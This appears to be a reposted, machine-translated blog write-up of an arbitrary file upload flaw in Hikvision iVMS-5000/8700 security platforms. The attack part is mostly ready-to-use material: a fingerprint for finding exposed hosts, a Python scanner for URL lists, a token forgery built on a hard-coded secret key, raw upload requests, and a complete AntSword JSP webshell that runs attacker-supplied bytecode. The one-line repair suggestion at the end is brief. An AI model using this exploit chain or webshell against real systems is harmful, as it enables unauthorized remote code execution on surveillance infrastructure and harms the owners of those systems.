Hikvision iVMS integrated security system arbitrary file upload vulnerability recurrence (0day)

0x01 Product Introduction

        Hikvision's iVMS centralized monitoring application management platform is oriented by security protection business applications, based on video image applications, and integrates various security protection application systems such as video surveillance, networked alarms, intelligent analysis, and operation and maintenance management. A comprehensive management platform for multi-service applications.

0x02 Vulnerability Overview

    The Hikvision iVMS system has an in-the-wild 0-day vulnerability. The attacker constructs a token arbitrarily by obtaining the key, and requests the /resourceOperations/upload interface to upload files arbitrarily, resulting in obtaining the server webshell permission and remotely executing malicious code.

0x03 range of influence

Hikvision Integrated Security System iVMS-5000

Hikvision Integrated Security System iVMS-8700

0x04 Recurrence environment

Intergraph fingerprint: web.body="/views/home/file/installPackage.rar"

31332f00b8c049aea8717da98a203bfc.png

0x05 Vulnerability Reappearance 

Detection script PoC: https://github.com/sccmdaveli/hikvision-poc

import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()


head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
    "Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
}
def md5encode(url):
    if url.endswith("/"):
        path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"
    else:
        path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"
    encodetext = url + path
    input_name = hashlib.md5()
    input_name.update(encodetext.encode("utf-8"))
    return (input_name.hexdigest()).upper()

def poc(url):
    if url.endswith("/"):
        path = "eps/api/resourceOperations/upload?token="
    else:
        path = "/eps/api/resourceOperations/upload?token="
    pocurl = url + path + md5encode(url)
    data = {
        "service": urllib.parse.quote(url + "/home/index.action")
    }
    try:
        response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)
        if response.status_code==200:
            print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞!!!!")
        else:
            print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")
    except:
        pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',
                                     description='ivms漏洞检测poc',
                                     )
    p = parser.add_argument_group('ivms 的参数')
    p.add_argument("-u", "--url", type=str, help="测试单条url")
    p.add_argument("-f", "--file", type=str, help="测试多个url文件")
    args = parser.parse_args()
    if args.url:
        poc(args.url)
    if args.file:
        for i in open(args.file,"r").read().split("\n"):
            poc(i)

How to use:

Single url detection:

python3 ivms-poc.py -u url

Multiple url detection:

python3 ivms-poc.py -f file.txt

 Effect:

52b4b8a214974b41ada8b7ef49b03f8e.png

Manual reproduction 

Vulnerability URL: /eps/api/resourceOperations/upload

bp grabs the home page package and tries to access the interface (it is found that the token needs to be authenticated)

40d246caa0b443ad989acdc14f581f8e.png

POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62

service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

Construct token to bypass authentication (internal mechanism: if the token value is the same as the md5 value of request url+secretkey, authentication can be bypassed)

secretkey is hard-coded in the code (default value: secretKeyIbuilding)

The token value needs to be MD5 encrypted (32-bit uppercase)

Combination: token=MD5(url+"secretKeyIbuilding")

f1b6c2ae791a46cea9209c27a9865bd6.png

revalidate

9c9498e6e7724206be1937832f9467ad.png

 It can be seen that the successful bypass

Construct file upload payload

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174

------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpeg

test
------WebKitFormBoundaryGEJwiloiPo

786d036f3b4a46ee9e6767fae8d4bb90.png

It shows that the upload is successful and the resourceUuid value is returned

Verification path: http://url/eps/upload /value of resourceUuid.jsp

19718bb4eb734c718debe0ad107a4c38.png

0x06 exploit

Directly upload ant sword jsp Mazi

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

a3fce95c880443dc89656ae6e6bb427a.png

Uploaded successfully, try to connect

a1d4617623c641fcb1c0afef4c67ea1f.png

 0x07 Repair suggestion

      Close the permission to access the exposed surface of the Internet, and the file upload module has done a strong authentication

 

 

 

 

Guess you like

Origin blog.csdn.net/qq_41904294/article/details/130807691